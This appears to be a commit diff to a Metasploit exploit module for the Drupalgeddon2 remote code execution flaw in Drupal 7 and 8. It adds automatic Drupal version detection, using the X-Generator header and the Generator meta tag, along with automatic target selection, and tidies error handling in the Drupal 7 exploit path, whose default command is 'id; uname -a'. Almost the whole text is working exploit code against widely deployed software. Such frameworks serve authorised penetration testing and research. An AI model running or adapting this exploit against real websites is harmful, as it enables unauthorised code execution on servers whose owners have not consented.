Add version detection and automatic targeting

I also refactored error handling. Should be cleaner now.

modules/exploits/unix/webapp/drupal_drupalgeddon2.rb

@@ -44,6 +44,14 @@ class MetasploitModule < Msf::Exploit::Remote
       'Privileged'     => false,
       # XXX: Using "x" in Gem::Version::new isn't technically appropriate
       'Targets'        => [
+        ['Automatic (Unix In-Memory)',
+         'Platform'    => 'unix',
+         'Arch'        => ARCH_CMD
+        ],
+        ['Automatic (Linux Dropper)',
+         'Platform'    => 'linux',
+         'Arch'        => [ARCH_X86, ARCH_X64]
+        ],
         ['Drupal 7.x (Unix In-Memory)',
          'Platform'    => 'unix',
          'Arch'        => ARCH_CMD,
@@ -65,7 +73,7 @@ class MetasploitModule < Msf::Exploit::Remote
          'Version'     => Gem::Version.new('8.x')
         ]
       ],
-      'DefaultTarget'  => 2, # Drupal 8.x (Unix In-Memory)
+      'DefaultTarget'  => 0, # Automatic (Unix In-Memory)
       'DefaultOptions' => {
         'PAYLOAD'      => 'cmd/unix/generic',
         'CMD'          => 'id; uname -a'
@@ -113,6 +121,15 @@ class MetasploitModule < Msf::Exploit::Remote
     vprint_status("Executing with #{func}(): #{cmd}")
 
     res = case target['Version'].to_s
+    when '' # Automatic
+      case detect_version.to_s
+      when '7.x'
+        print_good('Drupal 7 detected')
+        exploit_drupal7(func, cmd)
+      when '8.x'
+        print_good('Drupal 8 detected')
+        exploit_drupal8(func, cmd)
+      end
     when '7.x'
       exploit_drupal7(func, cmd)
     when '8.x'
@@ -120,7 +137,7 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
     unless res && res.code == 200
-      vprint_error("Unexpected final reply: #{res.inspect}")
+      print_error("Unexpected reply: #{res.inspect}")
       return
     end
 
@@ -129,6 +146,35 @@ class MetasploitModule < Msf::Exploit::Remote
     res
   end
 
+  def detect_version
+    res = send_request_cgi(
+      'method' => 'GET',
+      'uri'    => target_uri.path
+    )
+
+    return res unless res && res.code == 200
+
+    case res.headers['X-Generator']
+    when /Drupal 7/
+      return Gem::Version.new('7.x')
+    when /Drupal 8/
+      return Gem::Version.new('8.x')
+    end
+
+    generator = res.get_html_document.at(
+      '//meta[@name = "Generator"]/@content'
+    )
+
+    return res unless generator
+
+    case generator.value
+    when /Drupal 7/
+      Gem::Version.new('7.x')
+    when /Drupal 8/
+      Gem::Version.new('8.x')
+    end
+  end
+
   def exploit_drupal7(func, code)
     vars_get = {
       'q'                    => 'user/password',
@@ -149,28 +195,20 @@ class MetasploitModule < Msf::Exploit::Remote
       'vars_post' => vars_post
     )
 
-    unless res && res.code == 200
-      vprint_error("Unexpected intermediate reply: #{res.inspect}")
-      return
-    end
+    return res unless res && res.code == 200
 
     form_build_id = res.get_html_document.at(
       '//input[@name = "form_build_id"]/@value'
     )
 
-    if form_build_id
-      form_build_id = form_build_id.value
-    else
-      vprint_error("Unknown form_build_id: #{res.inspect}")
-      return
-    end
+    return res unless form_build_id
 
     vars_get = {
-      'q' => "file/ajax/name/#value/#{form_build_id}"
+      'q' => "file/ajax/name/#value/#{form_build_id.value}"
     }
 
     vars_post = {
-      'form_build_id' => form_build_id
+      'form_build_id' => form_build_id.value
     }
 
     send_request_cgi(